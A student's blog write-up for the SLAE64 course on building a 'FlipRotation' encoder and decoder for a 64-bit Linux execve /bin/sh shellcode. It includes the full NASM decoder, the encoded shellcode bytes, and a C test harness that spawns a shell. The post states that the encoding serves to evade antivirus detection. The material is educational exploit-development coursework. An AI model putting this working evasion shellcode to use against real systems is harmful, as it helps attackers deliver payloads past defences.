This post introduces my 4th mission of my SLAE64 journey.
Introduction
The fourth assignment goal was to create my own custom encoder and decoder of the execve stack shellcode
. As you may know, the purpose is to execute /bin/sh
A shellcode encoder can be used for different purposes, making it harder to detect by AV engines or simply avoiding bad characters (such as null bytes).
There is a lot of overlap information with my post regarding the SLAE32 - Custom Encoder/Decoder Shellcode (FlipRotation Encoder/Decoder). I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.
FlipRotation Algorithm Overview
The algorithm logic is the same as the one described in the FlipRotation Algorithm. My approach here was to port the 32 to 64-bit version so I won’t go into details in this post.
Encoder
Similar to the 32-bit version but converted to output 64-bit assembly. Please see FlipRotation Encoder for more details.
Encoder Output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●›
╰─$ python3 flipRotation_Encoder.py
_______________________________________________________________
<The "FlipRotation" Encoder - Bit flip and rotate your shellcode
---------------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
[*] Shellcode length: 32
[*] Shellcode: b'H1\xc0PH\xbb/bin//shSH\x89\xe7PH\x89\xe2WH\x89\xe6H\x83\xc0;\x0f\x05'
[*] Key Provided by the user. Doing magic with it
[*] Key: 0xa0
After rotation: 0x49
After rotation: 0x7
After rotation: 0x8a
After rotation: 0x94
After rotation: 0xb1
After rotation: 0xde
After rotation: 0x2d
After rotation: 0xa4
After rotation: 0x45
After rotation: 0x4a
After rotation: 0x7c
After rotation: 0xa4
After rotation: 0xcf
After rotation: 0x25
After rotation: 0x1c
[*] \x format:
\x49\xff\x18\x02\x7\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x8\x02\xa0\xa0
[*] 0x format:
0x49,0xff,0x18,0x02,0x7,0xff,0x8a,0xff,0x94,0xff,0xd5,0x02,0xb8,0x02,0xb1,0xff,0x68,0x02,0xde,0xff,0x8b,0x02,0xc5,0x02,0x27,0x02,0x2d,0xff,0x49,0x02,0xa4,0xff,0x88,0x02,0x73,0x02,0x45,0xff,0x4a,0xff,0x88,0x02,0x7c,0xff,0x59,0x02,0xa4,0xff,0x88,0x02,0xcf,0xff,0x25,0xff,0x50,0x02,0x1c,0xff,0xd1,0x02,0x38,0x02,0x8,0x02,0xa0,0xa0
--------------------
[*] Hack the World!
--------------------
Encoder script available at https://github.com/0xnibbles/slae_x86_64/blob/main/assignments/4-Insertion-Encoder-Shellcode/flipRotation_Encoder.py
Decoder
Similar to the 32-bit version but converted to output 64-bit assembly. Please see FlipRotation Encoder for more details.
Decoder
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 4 : Custom Encoder/Decoder Shellcode (Linux/x86_64) Assembly - FlipRotation Encoder
; File Name : flipRotation_decoder.nasm
global _start
section .text
_start:
jmp decoder
EncodedShellcode: db 0x49,0xff,0x18,0x02,0x7,0xff,0x8a,0xff,0x94,0xff,0xd5,0x02,0xb8,0x02,0xb1,0xff,0x68,0x02,0xde,0xff,0x8b,0x02,0xc5,0x02,0x27,0x02,0x2d,0xff,0x49,0x02,0xa4,0xff,0x88,0x02,0x73,0x02,0x45,0xff,0x4a,0xff,0x88,0x02,0x7c,0xff,0x59,0x02,0xa4,0xff,0x88,0x02,0xcf,0xff,0x25,0xff,0x50,0x02,0x1c,0xff,0xd1,0x02,0x38,0x02,0x8,0x02,0xa0,0xa0 ; 0xa0 is the stop marker
decoder:
lea rsi, [rel EncodedShellcode]
lea rdi, [rsi+1] ; pointing to second byte (0x02) from shellcode
xor rax, rax
mul rax ; zeroes edx
mov al, 1
xor rcx, rcx
xor rbx, rbx
decode:
mov bl, byte [rsi + rax] ; mov parity byte to bl
xor bl, 0xa0 ; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
jz short EncodedShellcode ; reached the marker if Zero Flag not set
xor bl, 0x5f ; if equal parity is even (0xff)
mov bl, byte [rsi + rdx]
jnz odd
even: ; rotate right
ror bl, cl
jmp short bitFlip
odd: ; rotate left
rol bl, cl
bitFlip:
xor bl, 0x01
restore_next_byte:
mov byte [rsi + rdx], bl ; replaces the original byte
mov bl, byte [rsi + rax+1] ; mov encoded byte
mov byte [rdi], bl ; change last used parity byte for the next encoded byte
inc rdi ; rdi points to position of the next parity byte
add al, 2 ; offset added to next parity byte
inc dl ; offset to the next encoded byte
inc cl ; loop index value incremented
; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register).
cmp cl, 0x08 ; if equal ZF will be set meaning we have a complete rotation
jnz decode ; jump if rotation is not complete
xor rcx, rcx ; if rotation is complete and reset cl to start again the "circular array"
jmp short decode
Compiling and Testing the FlipRotation Decoder
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●›
╰─$ ../../assembler.sh flipRotation_decoder.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 146
"\xeb\x42\x49\xff\x18\x02\x07\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x08\x02\xa0\xa0\x48\x8d\x35\xb7\xff\xff\xff\x48\x8d\x7e\x01\x48\x31\xc0\x48\xf7\xe0\xb0\x01\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x9d\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd0\x48\x31\xc9\xeb\xcb"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x42\x49\xff\x18\x02\x07\xff\x8a\xff\x94\xff\xd5\x02\xb8\x02\xb1\xff\x68\x02\xde\xff\x8b\x02\xc5\x02\x27\x02\x2d\xff\x49\x02\xa4\xff\x88\x02\x73\x02\x45\xff\x4a\xff\x88\x02\x7c\xff\x59\x02\xa4\xff\x88\x02\xcf\xff\x25\xff\x50\x02\x1c\xff\xd1\x02\x38\x02\x08\x02\xa0\xa0\x48\x8d\x35\xb7\xff\xff\xff\x48\x8d\x7e\x01\x48\x31\xc0\x48\xf7\xe0\xb0\x01\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x9d\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd0\x48\x31\xc9\xeb\xcb";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/4-Insertion-Encoder-Shellcode ‹main●›
╰─$ ./shellcode
Shellcode Length: 146
$ whoami
edu
$ ls
core exploitdb flipRotation_Encoder.py flipRotation_decoder flipRotation_decoder.nasm flipRotation_decoder.o shellcode shellcode.c
$
We get a shell!!!
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64